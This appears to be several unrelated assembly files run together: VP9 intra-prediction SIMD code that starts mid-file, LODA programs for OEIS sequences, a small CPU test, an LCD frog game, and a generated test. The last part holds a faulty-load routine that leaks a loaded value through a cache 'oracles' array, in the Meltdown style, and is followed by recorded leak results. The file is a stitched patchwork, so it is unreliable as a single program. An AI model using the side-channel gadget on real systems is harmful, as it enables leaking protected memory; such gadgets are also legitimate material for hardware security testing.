SBUTTERFLY wd, 3, 2, 4
mova m6, [lq+mmsize*2+0]
movu m5, [lq+mmsize*2+2]
movu m4, [lq+mmsize*2+4]
LOWPASS 4, 5, 6
pavgw m5, m6
SBUTTERFLY wd, 5, 4, 6
mova m7, [lq+mmsize*3+0]
SCRATCH 0, 9, rsp+1*mmsize
%if cpuflag(ssse3)
mova m0, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m1, m6, m7, m0
LOWPASS 6, 1, 7
pavgw m7, m1
SBUTTERFLY wd, 7, 6, 0
pshufd m1, m1, q3333
UNSCRATCH 0, 9, rsp+1*mmsize
DEFINE_ARGS dst, stride, cnt, stride3, stride4, stride20, stride28
lea stride3q, [strideq*3]
lea stride4q, [strideq*4]
lea stride28q, [stride4q*8]
lea stride20q, [stride4q*5]
sub stride28q, stride4q
mov cntd, 4
.loop:
%if ARCH_X86_64
SWAP 1, 8
%else
mova [rsp+1*mmsize], m1
mova m1, [rsp+0*mmsize]
%endif
mova [dstq+strideq *0+ 0], m1
mova [dstq+strideq *0+16], m0
mova [dstq+strideq *0+32], m3
mova [dstq+strideq *0+48], m2
mova [dstq+stride4q*1+ 0], m0
mova [dstq+stride4q*1+16], m3
mova [dstq+stride4q*1+32], m2
mova [dstq+stride4q*1+48], m5
mova [dstq+stride4q*2+ 0], m3
mova [dstq+stride4q*2+16], m2
mova [dstq+stride4q*2+32], m5
mova [dstq+stride4q*2+48], m4
%if cpuflag(avx)
vpalignr m1, m0, m1, 4
vpalignr m0, m3, m0, 4
vpalignr m3, m2, m3, 4
%else
SCRATCH 6, 9, rsp+2*mmsize
%if notcpuflag(ssse3)
SCRATCH 7, 10, rsp+3*mmsize
%endif
PALIGNR m6, m0, m1, 4, m7
mova m1, m6
PALIGNR m6, m3, m0, 4, m7
mova m0, m6
PALIGNR m6, m2, m3, 4, m7
mova m3, m6
UNSCRATCH 6, 9, rsp+2*mmsize
SCRATCH 0, 9, rsp+2*mmsize
%if notcpuflag(ssse3)
UNSCRATCH 7, 10, rsp+3*mmsize
SCRATCH 3, 10, rsp+3*mmsize
%endif
%endif
%if ARCH_X86_64
SWAP 1, 8
%else
mova [rsp+0*mmsize], m1
mova m1, [rsp+1*mmsize]
%endif
mova [dstq+stride3q*4+ 0], m2
mova [dstq+stride3q*4+16], m5
mova [dstq+stride3q*4+32], m4
mova [dstq+stride3q*4+48], m7
mova [dstq+stride4q*4+ 0], m5
mova [dstq+stride4q*4+16], m4
mova [dstq+stride4q*4+32], m7
mova [dstq+stride4q*4+48], m6
mova [dstq+stride20q + 0], m4
mova [dstq+stride20q +16], m7
mova [dstq+stride20q +32], m6
mova [dstq+stride20q +48], m1
mova [dstq+stride3q*8+ 0], m7
mova [dstq+stride3q*8+16], m6
mova [dstq+stride3q*8+32], m1
mova [dstq+stride3q*8+48], m1
mova [dstq+stride28q + 0], m6
mova [dstq+stride28q +16], m1
mova [dstq+stride28q +32], m1
mova [dstq+stride28q +48], m1
%if cpuflag(avx)
vpalignr m2, m5, m2, 4
vpalignr m5, m4, m5, 4
vpalignr m4, m7, m4, 4
vpalignr m7, m6, m7, 4
vpalignr m6, m1, m6, 4
%else
PALIGNR m0, m5, m2, 4, m3
mova m2, m0
PALIGNR m0, m4, m5, 4, m3
mova m5, m0
PALIGNR m0, m7, m4, 4, m3
mova m4, m0
PALIGNR m0, m6, m7, 4, m3
mova m7, m0
PALIGNR m0, m1, m6, 4, m3
mova m6, m0
UNSCRATCH 0, 9, rsp+2*mmsize
%if notcpuflag(ssse3)
UNSCRATCH 3, 10, rsp+3*mmsize
%endif
%endif
add dstq, strideq
dec cntd
jg .loop
RET
%endmacro
INIT_XMM sse2
HU_FUNCS 4
INIT_XMM ssse3
HU_FUNCS 3
INIT_XMM avx
HU_FUNCS 2
%macro HD_FUNCS 0
cglobal vp9_ipred_hd_4x4_16, 4, 4, 4, dst, stride, l, a
movh m0, [lq]
movhps m0, [aq-2]
psrldq m1, m0, 2
psrldq m2, m0, 4
LOWPASS 2, 1, 0
pavgw m1, m0
punpcklwd m1, m2
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movh [dstq+stride3q ], m1
movhps [dstq+strideq*1], m1
movhlps m2, m2
PALIGNR m2, m1, 4, m0
movh [dstq+strideq*2], m2
movhps [dstq+strideq*0], m2
RET
cglobal vp9_ipred_hd_8x8_16, 4, 4, 5, dst, stride, l, a
mova m0, [lq]
movu m1, [aq-2]
PALIGNR m2, m1, m0, 2, m3
PALIGNR m3, m1, m0, 4, m4
LOWPASS 3, 2, 0
pavgw m2, m0
SBUTTERFLY wd, 2, 3, 0
psrldq m0, m1, 2
psrldq m4, m1, 4
LOWPASS 1, 0, 4
DEFINE_ARGS dst8, mstride, cnt
lea dst8q, [dst8q+mstrideq*8]
neg mstrideq
mov cntd, 4
.loop:
add dst8q, mstrideq
mova [dst8q+mstrideq*0], m2
mova [dst8q+mstrideq*4], m3
%if cpuflag(avx)
vpalignr m2, m3, m2, 4
vpalignr m3, m1, m3, 4
%else
PALIGNR m0, m3, m2, 4, m4
mova m2, m0
PALIGNR m0, m1, m3, 4, m4
mova m3, m0
%endif
psrldq m1, 4
dec cntd
jg .loop
RET
cglobal vp9_ipred_hd_16x16_16, 4, 4, 8, dst, stride, l, a
mova m2, [lq]
movu m1, [lq+2]
movu m0, [lq+4]
LOWPASS 0, 1, 2
pavgw m1, m2
mova m4, [lq+mmsize]
movu m5, [aq-2]
PALIGNR m3, m5, m4, 2, m6
PALIGNR m2, m5, m4, 4, m6
LOWPASS 2, 3, 4
pavgw m3, m4
SBUTTERFLY wd, 1, 0, 4
SBUTTERFLY wd, 3, 2, 4
mova m6, [aq]
movu m4, [aq+2]
LOWPASS 4, 6, 5
movu m5, [aq+mmsize-2]
psrldq m6, m5, 2
psrldq m7, m5, 4
LOWPASS 5, 6, 7
DEFINE_ARGS dst, mstride, mstride3, cnt
lea dstq, [dstq+mstrideq*8]
lea dstq, [dstq+mstrideq*8]
neg mstrideq
lea mstride3q, [mstrideq*3]
mov cntd, 4
.loop:
add dstq, mstrideq
mova [dstq+mstride3q*4+ 0], m2
mova [dstq+mstride3q*4+16], m4
mova [dstq+mstrideq *8+ 0], m3
mova [dstq+mstrideq *8+16], m2
mova [dstq+mstrideq *4+ 0], m0
mova [dstq+mstrideq *4+16], m3
mova [dstq+mstrideq *0+ 0], m1
mova [dstq+mstrideq *0+16], m0
%if cpuflag(avx)
vpalignr m1, m0, m1, 4
vpalignr m0, m3, m0, 4
vpalignr m3, m2, m3, 4
vpalignr m2, m4, m2, 4
vpalignr m4, m5, m4, 4
%else
PALIGNR m6, m0, m1, 4, m7
mova m1, m6
PALIGNR m6, m3, m0, 4, m7
mova m0, m6
PALIGNR m6, m2, m3, 4, m7
mova m3, m6
PALIGNR m6, m4, m2, 4, m7
mova m2, m6
PALIGNR m6, m5, m4, 4, m7
mova m4, m6
%endif
psrldq m5, 4
dec cntd
jg .loop
RET
cglobal vp9_ipred_hd_32x32_16, 4, 4 + 3 * ARCH_X86_64, 14, \
10 * -mmsize * ARCH_X86_32, dst, stride, l, a
mova m2, [lq+mmsize*0+0]
movu m1, [lq+mmsize*0+2]
movu m0, [lq+mmsize*0+4]
LOWPASS 0, 1, 2
pavgw m1, m2
SBUTTERFLY wd, 1, 0, 2
mova m4, [lq+mmsize*1+0]
movu m3, [lq+mmsize*1+2]
movu m2, [lq+mmsize*1+4]
LOWPASS 2, 3, 4
pavgw m3, m4
SBUTTERFLY wd, 3, 2, 4
SCRATCH 0, 8, rsp+0*mmsize
SCRATCH 1, 9, rsp+1*mmsize
SCRATCH 2, 10, rsp+2*mmsize
SCRATCH 3, 11, rsp+3*mmsize
mova m6, [lq+mmsize*2+0]
movu m5, [lq+mmsize*2+2]
movu m4, [lq+mmsize*2+4]
LOWPASS 4, 5, 6
pavgw m5, m6
SBUTTERFLY wd, 5, 4, 6
mova m0, [lq+mmsize*3+0]
movu m1, [aq+mmsize*0-2]
PALIGNR m7, m1, m0, 2, m2
PALIGNR m6, m1, m0, 4, m2
LOWPASS 6, 7, 0
pavgw m7, m0
SBUTTERFLY wd, 7, 6, 0
mova m2, [aq+mmsize*0+0]
movu m0, [aq+mmsize*0+2]
LOWPASS 0, 2, 1
movu m1, [aq+mmsize*1-2]
mova m2, [aq+mmsize*1+0]
movu m3, [aq+mmsize*1+2]
LOWPASS 1, 2, 3
SCRATCH 6, 12, rsp+6*mmsize
SCRATCH 7, 13, rsp+7*mmsize
movu m2, [aq+mmsize*2-2]
mova m3, [aq+mmsize*2+0]
movu m6, [aq+mmsize*2+2]
LOWPASS 2, 3, 6
movu m3, [aq+mmsize*3-2]
psrldq m6, m3, 2
psrldq m7, m3, 4
LOWPASS 3, 6, 7
UNSCRATCH 6, 12, rsp+6*mmsize
UNSCRATCH 7, 13, rsp+7*mmsize
%if ARCH_X86_32
mova [rsp+4*mmsize], m4
mova [rsp+5*mmsize], m5
; we already backed up m6/m7 earlier on x86-32 in SCRATCH, so we don't need
; to do it again here
%endif
DEFINE_ARGS dst, stride, cnt, stride3, stride4, stride20, stride28
mov cntd, 4
lea stride3q, [strideq*3]
%if ARCH_X86_64
lea stride4q, [strideq*4]
lea stride28q, [stride4q*8]
lea stride20q, [stride4q*5]
sub stride28q, stride4q
%endif
add dstq, stride3q
; x86-32 doesn't have enough registers, so on that platform, we split
; the loop in 2... Otherwise you spend most of the loop (un)scratching
.loop:
%if ARCH_X86_64
mova [dstq+stride28q + 0], m9
mova [dstq+stride28q +16], m8
mova [dstq+stride28q +32], m11
mova [dstq+stride28q +48], m10
mova [dstq+stride3q*8+ 0], m8
mova [dstq+stride3q*8+16], m11
mova [dstq+stride3q*8+32], m10
mova [dstq+stride3q*8+48], m5
mova [dstq+stride20q + 0], m11
mova [dstq+stride20q +16], m10
mova [dstq+stride20q +32], m5
mova [dstq+stride20q +48], m4
mova [dstq+stride4q*4+ 0], m10
mova [dstq+stride4q*4+16], m5
mova [dstq+stride4q*4+32], m4
mova [dstq+stride4q*4+48], m7
%endif
mova [dstq+stride3q*4+ 0], m5
mova [dstq+stride3q*4+16], m4
mova [dstq+stride3q*4+32], m7
mova [dstq+stride3q*4+48], m6
mova [dstq+strideq* 8+ 0], m4
mova [dstq+strideq* 8+16], m7
mova [dstq+strideq* 8+32], m6
mova [dstq+strideq* 8+48], m0
mova [dstq+strideq* 4+ 0], m7
mova [dstq+strideq* 4+16], m6
mova [dstq+strideq* 4+32], m0
mova [dstq+strideq* 4+48], m1
mova [dstq+strideq* 0+ 0], m6
mova [dstq+strideq* 0+16], m0
mova [dstq+strideq* 0+32], m1
mova [dstq+strideq* 0+48], m2
sub dstq, strideq
%if cpuflag(avx)
%if ARCH_X86_64
vpalignr m9, m8, m9, 4
vpalignr m8, m11, m8, 4
vpalignr m11, m10, m11, 4
vpalignr m10, m5, m10, 4
%endif
vpalignr m5, m4, m5, 4
vpalignr m4, m7, m4, 4
vpalignr m7, m6, m7, 4
vpalignr m6, m0, m6, 4
vpalignr m0, m1, m0, 4
vpalignr m1, m2, m1, 4
vpalignr m2, m3, m2, 4
%else
%if ARCH_X86_64
PALIGNR m12, m8, m9, 4, m13
mova m9, m12
PALIGNR m12, m11, m8, 4, m13
mova m8, m12
PALIGNR m12, m10, m11, 4, m13
mova m11, m12
PALIGNR m12, m5, m10, 4, m13
mova m10, m12
%endif
SCRATCH 3, 12, rsp+8*mmsize, sh
%if notcpuflag(ssse3)
SCRATCH 2, 13, rsp+9*mmsize
%endif
PALIGNR m3, m4, m5, 4, m2
mova m5, m3
PALIGNR m3, m7, m4, 4, m2
mova m4, m3
PALIGNR m3, m6, m7, 4, m2
mova m7, m3
PALIGNR m3, m0, m6, 4, m2
mova m6, m3
PALIGNR m3, m1, m0, 4, m2
mova m0, m3
%if notcpuflag(ssse3)
UNSCRATCH 2, 13, rsp+9*mmsize
SCRATCH 0, 13, rsp+9*mmsize
%endif
PALIGNR m3, m2, m1, 4, m0
mova m1, m3
PALIGNR m3, reg_sh, m2, 4, m0
mova m2, m3
%if notcpuflag(ssse3)
UNSCRATCH 0, 13, rsp+9*mmsize
%endif
UNSCRATCH 3, 12, rsp+8*mmsize, sh
%endif
psrldq m3, 4
dec cntd
jg .loop
%if ARCH_X86_32
UNSCRATCH 0, 8, rsp+0*mmsize
UNSCRATCH 1, 9, rsp+1*mmsize
UNSCRATCH 2, 10, rsp+2*mmsize
UNSCRATCH 3, 11, rsp+3*mmsize
mova m4, [rsp+4*mmsize]
mova m5, [rsp+5*mmsize]
mova m6, [rsp+6*mmsize]
mova m7, [rsp+7*mmsize]
DEFINE_ARGS dst, stride, stride5, stride3
lea stride5q, [strideq*5]
lea dstq, [dstq+stride5q*4]
DEFINE_ARGS dst, stride, cnt, stride3
mov cntd, 4
.loop_2:
mova [dstq+stride3q*4+ 0], m1
mova [dstq+stride3q*4+16], m0
mova [dstq+stride3q*4+32], m3
mova [dstq+stride3q*4+48], m2
mova [dstq+strideq* 8+ 0], m0
mova [dstq+strideq* 8+16], m3
mova [dstq+strideq* 8+32], m2
mova [dstq+strideq* 8+48], m5
mova [dstq+strideq* 4+ 0], m3
mova [dstq+strideq* 4+16], m2
mova [dstq+strideq* 4+32], m5
mova [dstq+strideq* 4+48], m4
mova [dstq+strideq* 0+ 0], m2
mova [dstq+strideq* 0+16], m5
mova [dstq+strideq* 0+32], m4
mova [dstq+strideq* 0+48], m7
sub dstq, strideq
%if cpuflag(avx)
vpalignr m1, m0, m1, 4
vpalignr m0, m3, m0, 4
vpalignr m3, m2, m3, 4
vpalignr m2, m5, m2, 4
vpalignr m5, m4, m5, 4
vpalignr m4, m7, m4, 4
vpalignr m7, m6, m7, 4
%else
SCRATCH 6, 12, rsp+8*mmsize, sh
%if notcpuflag(ssse3)
SCRATCH 7, 13, rsp+9*mmsize
%endif
PALIGNR m6, m0, m1, 4, m7
mova m1, m6
PALIGNR m6, m3, m0, 4, m7
mova m0, m6
PALIGNR m6, m2, m3, 4, m7
mova m3, m6
PALIGNR m6, m5, m2, 4, m7
mova m2, m6
PALIGNR m6, m4, m5, 4, m7
mova m5, m6
%if notcpuflag(ssse3)
UNSCRATCH 7, 13, rsp+9*mmsize
SCRATCH 5, 13, rsp+9*mmsize
%endif
PALIGNR m6, m7, m4, 4, m5
mova m4, m6
PALIGNR m6, reg_sh, m7, 4, m5
mova m7, m6
%if notcpuflag(ssse3)
UNSCRATCH 5, 13, rsp+9*mmsize
%endif
UNSCRATCH 6, 12, rsp+8*mmsize, sh
%endif
psrldq m6, 4
dec cntd
jg .loop_2
%endif
RET
%endmacro
INIT_XMM sse2
HD_FUNCS
INIT_XMM ssse3
HD_FUNCS
INIT_XMM avx
HD_FUNCS
|
; A120149: a(1)=2; a(n)=floor((7+sum(a(1) to a(n-1)))/3).
; 2,3,4,5,7,9,12,16,21,28,38,50,67,89,119,159,212,282,376,502,669,892,1189,1586,2114,2819,3759,5012,6682,8910,11880,15840,21120,28160,37546,50062,66749,88999,118665,158220,210960,281280,375040,500053,666738
mov $2,8
lpb $0,1
sub $0,1
mov $3,$2
mul $2,2
add $2,1
mul $3,2
add $2,$3
div $2,3
lpe
sub $2,4
add $0,$2
add $0,1
mov $1,$0
div $1,4
add $1,1
|
; A281813: a(0) = 3, a(n) = 8*n + 4 for n > 0.
; 3,12,20,28,36,44,52,60,68,76,84,92,100,108,116,124,132,140,148,156,164,172,180,188,196,204,212,220,228,236,244,252,260,268,276,284,292,300,308,316,324,332,340,348,356,364,372,380,388,396,404
mul $0,8
bin $1,$0
sub $0,$1
add $0,4
mov $1,$0
|
// Test provided by Karu
// Generic Test (+)-(-)=(+)
lbi r1, 0x39
lbi r2, 0xf4
sub r3, r2, r1
halt
|
; A166496: Prime plus the next composite.
; 6,7,11,15,23,27,35,39,47,59,63,75,83,87,95,107,119,123,135,143,147,159,167,179,195,203,207,215,219,227,255,263,275,279,299,303,315,327,335,347,359,363,383,387,395,399,423,447,455,459,467,479,483,503,515,527
cal $0,40 ; The prime numbers.
sub $0,2
mov $1,1
add $2,$0
mov $0,0
add $1,$2
add $0,$1
mov $3,$2
cmp $3,0
add $2,$3
add $0,$2
mov $1,$0
add $1,4
|
#include "hi.asm"
iodata = 0xff0
ioctrl = 0xff1
ioin = 0xff1
jmp start
send_data:
st iodata
li(0x03)
st ioctrl
li(0x01)
st ioctrl
send_data_r = . + 1
send_data_r0:
jmp 0
send_ctrl:
st iodata
li(0x02)
st ioctrl
lh 0x00
st ioctrl
send_ctrl_r = . + 1
send_ctrl_r0:
jmp 0
start:
lh 0x00
st ioctrl
li(1f) st send_ctrl_r
li(0x38)
jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_ctrl_r
li(0x0c) jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_ctrl_r
li(0x01) jmp send_ctrl
1:
li(0x0f)
st count1
wait2:
li(0xff)
st count
wait3: ror
ld count
addi (-1) st count ne
jc wait3
ld count1
addi (-1) st count1 ne
jc wait2
li(1f) st send_ctrl_r
li(0x06) jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_ctrl_r
li(0x40) jmp send_ctrl
1:
ror ror ror ror
2:
li(1f) st send_data_r
p_text_1 = . + 1
ld frog cmpi (-1) eq
jc 4f
jmp send_data
1:
ror ror ror ror
ld p_text_1 addi 1 st p_text_1
jmp 2b
4:
li(1f) st send_ctrl_r
li(0x80) jmp send_ctrl
1:
ror ror ror ror
2:
li(1f) st send_data_r
p_text_2 = . + 1
ld text cmpi (-1) eq
jc draw_frog
jmp send_data
1:
ror ror ror ror
ld p_text_2 addi 1 st p_text_2
jmp 2b
// draw frog
draw_frog:
ld loc
add frog_loc
st frog_loc
frog_loc = . + 1
ld text
cmp twenty ne jc 1f
li(0x01)
jmp draw_done
1:
cmpi 0x04 ne jc 1f
li(0x03)
jmp draw_done
1:
cmpi 0x05 ne jc 1f
li(0x01)
jmp draw_done
1:
li(0x03)
draw_done:
st tmp
li(1f) st send_ctrl_r
ld loc
cmp forty lt
jc 2f
add twenty_four
2:
add eighty jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_data_r
ld tmp jmp send_data
1:
loop:
li(0xff)
st count1
wait1:
li(0xff)
st count
wait: ror
ld count
addi (-1) st count ne
jc wait
ld count1
addi (-1) st count1 ne
jc wait1
// preserve previous location
ld loc
st prev
lh 0x0 st up st down
// polling
li(0x10)
st ioctrl
li(0xf)
st count
1:
ror
ld count
addi (-1)
st count
eq jc 1f
jmp 1b
1:
ld ioin
st btn
lh 0x00
st ioctrl
ld btn
nori 0xfe eq
jc 1f
li(0x1) st down
jmp polling_done
1:
ld btn
nori 0xfd eq
jc polling_done
li(0x1) st up
polling_done:
// compute new location
ld up eq jc 1f
ld bot ne jc 2f
ld loc sub forty st loc
jmp 2f
1:
ld down eq jc 3f
ld bot cmpi 1 ne jc 2f
ld loc add forty st loc
2:
li(1) sub bot st bot
3:
ld loc addi 1 st loc
ld s addi 1 st s
cmp forty ne jc 1f
lh 0 st s
ld loc sub forty st loc
1:
ld loc
st save_context
save_context = . + 1
ld text
st t
ld loc cmp eighty_dec lt jc 1f
cmp onetwenty lt jc 2f
li(0x01) st result jmp finish
2:
jmp finish
1:
ld t cmp twenty ne jc 1f
ld bot eq jc 1f
li(0x01) st tmp jmp save_loc
1:
ld t cmp twenty ne jc 1f
ld bot ne jc 1f
lh 0x00 st tmp jmp save_loc
1:
ld t cmpi 0x04 ne jc 1f
ld bot eq jc 1f
li(0x03) st tmp jmp save_loc
1:
ld t cmpi 0x04 ne jc 1f
ld bot ne jc 1f
jmp finish
1:
ld t cmpi 0x05 ne jc 1f
ld bot eq jc 1f
jmp finish
1:
ld t cmpi 0x05 ne jc 1f
ld bot ne jc 1f
li(0x02) st tmp jmp save_loc
1: jmp finish
save_loc:
li(0x63) st send_ctrl_r0 st send_data_r0
jmp 1f
.=768
1:
li(1f) st send_ctrl_r
ld prev
cmp forty lt
jc 2f
add twenty_four
2:
add eighty jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_data_r
ld prev
st loc_data_get
loc_data_get = . + 1
ld text
jmp send_data
1:
ror ror ror ror
li(1f) st send_ctrl_r
ld loc
cmp forty lt
jc 2f
add twenty_four
2:
add eighty jmp send_ctrl
1:
ror ror ror ror
li(1f) st send_data_r
ld tmp jmp send_data
1:
ror ror ror ror
li(1f) st send_ctrl_r
li(0x18) jmp send_ctrl
1: ror ror ror ror jmp loop
hlt
count: 0xff
count1: 0xff
loc: 46
prev: 0
s: 6
twenty: 0x20
up: 0
down: 0
bot: 1
forty: 40
twenty_four: 24
tmp: 0
t: 0
eighty: 0x80
result: 0
eighty_dec: 80
onetwenty: 120
.=1024
frog:
0x04 0x0e 0x04 0x0a 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00 0x04 0x0e 0x04 0x0a
0x04 0x0e 0x04 0x0a 0x00 0x00 0x1f 0x00
0x00 0x00 0x1f 0x00 0x04 0x0e 0x04 0x0a
0x00 0x00 0x1f 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00 0x00 0x00 0x1f 0x00
0x00 0x00 0x1f 0x00 0x00 0x00 0x1f 0x00
(-1)
.=1280
text:
0x04 0x04 0x06 0x20 0x20 0x06 0x04 0x06 0x20 0x20 0x05 0x06 0x04 0x04 0x06 0x04
0x04 0x20 0x20 0x04 0x04 0x06 0x20 0x04 0x04 0x06 0x05 0x04 0x04 0x04 0x20 0x20
0x04 0x06 0x04 0x04 0x20 0x05 0x20 0x06 0x05 0x05 0x05 0x20 0x20 0x04 0x04 0x04
0x20 0x20 0x20 0x05 0x05 0x05 0x05 0x20 0x20 0x05 0x05 0x20 0x20 0x04 0x04 0x04
0x04 0x04 0x20 0x20 0x06 0x06 0x20 0x20 0x05 0x20 0x04 0x04 0x20 0x20 0x20 0x05
(-1)
finish:
li(0x65) st send_ctrl_r0 st send_data_r0
li(1f) st send_ctrl_r
li(0x02) jmp send_ctrl
1:
li(0xff)
st count
7: ror
ld count
addi (-1) st count ne
jc 7b
li(1f) st send_ctrl_r
li(0x80) jmp send_ctrl
1:
ror ror ror ror
ld result eq jc jloss
li(1f) st send_data_r
2:
p_text_3 = . + 1
ld win cmpi (-1) eq
jc die
jmp send_data
1:
ror ror ror ror
ld p_text_3 addi 1 st p_text_3
jmp 2b
jloss:
li(1f) st send_data_r
2:
p_text_4 = . + 1
ld loss cmpi (-1) eq
jc die
jmp send_data
1:
ror ror ror ror
ld p_text_4 addi 1 st p_text_4
jmp 2b
die: jmp die
win: $W $I $N $! $ $ $ (-1)
loss: $L $O $S $S $ $ $ (-1)
btn: 3
|
; A211481: Number of ordered triples (w,x,y) with all terms in {-n,...,0,...,n} and w+2x+3y=n.
; 1,3,8,16,26,38,54,71,91,114,139,166,197,229,264,302,342,384,430,477,527,580,635,692,753,815,880,948,1018,1090,1166,1243,1323,1406,1491,1578,1669,1761,1856,1954,2054,2156,2262,2369,2479,2592,2707
mov $1,2
mov $2,$0
add $2,1
mov $4,$0
mul $0,2
trn $3,$2
add $3,2
lpb $0
sub $0,1
trn $0,$3
sub $1,1
trn $2,$3
add $1,$2
lpe
sub $1,1
mov $5,$4
mov $8,2
lpb $8
add $1,$5
sub $8,1
lpe
mov $7,$4
lpb $7
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,1
lpb $8
add $1,$5
sub $8,1
lpe
mov $0,$1
|
; A052127: Sum a(n) x^n / n!^2 = exp(-2x)/(1-x)^3.
; Submitted by Jamie Morken(s4)
; 1,1,8,96,2112,68160,3087360,185633280,14301020160,1372232171520,160390869811200,22426206024499200,3695148753459609600,708443854690399027200,156340439420689081958400,39342248735234589720576000,11197266840049016358567936000
mov $3,1
lpb $0
mov $2,$3
add $3,$1
mov $1,$0
sub $0,1
mul $3,$1
mul $3,$1
mul $1,2
mul $1,$2
lpe
mov $0,$3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1a0c1, %r14
clflush (%r14)
nop
sub $16783, %r11
movl $0x61626364, (%r14)
nop
nop
sub $46283, %r14
lea addresses_WC_ht+0x4075, %rax
nop
nop
add %rdx, %rdx
movb (%rax), %r12b
nop
nop
nop
nop
inc %r10
lea addresses_UC_ht+0x87e5, %r14
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r14)
and %rsi, %rsi
lea addresses_WT_ht+0x68f5, %rax
nop
cmp $24406, %r10
mov $0x6162636465666768, %r14
movq %r14, (%rax)
nop
nop
inc %rax
lea addresses_WT_ht+0x159b5, %rsi
nop
nop
nop
nop
nop
and %r10, %r10
movw $0x6162, (%rsi)
nop
nop
nop
nop
cmp $34878, %rax
lea addresses_WC_ht+0x1d7e1, %rsi
lea addresses_WT_ht+0x1cf2d, %rdi
nop
nop
nop
nop
nop
and %r10, %r10
mov $46, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rsi
// Store
lea addresses_A+0x1cfe5, %rax
nop
nop
nop
nop
sub %rcx, %rcx
movw $0x5152, (%rax)
nop
nop
nop
nop
add $35611, %r15
// Store
lea addresses_US+0x1cd45, %rax
nop
nop
nop
nop
add $38046, %r9
mov $0x5152535455565758, %r8
movq %r8, %xmm3
movntdq %xmm3, (%rax)
nop
nop
nop
cmp $51308, %rcx
// Faulty Load
mov $0x1e1a800000000fe5, %r15
nop
nop
cmp %rsi, %rsi
mov (%r15), %r9w
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rsi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_US'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}}
{'00': 775, '52': 21054}
52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 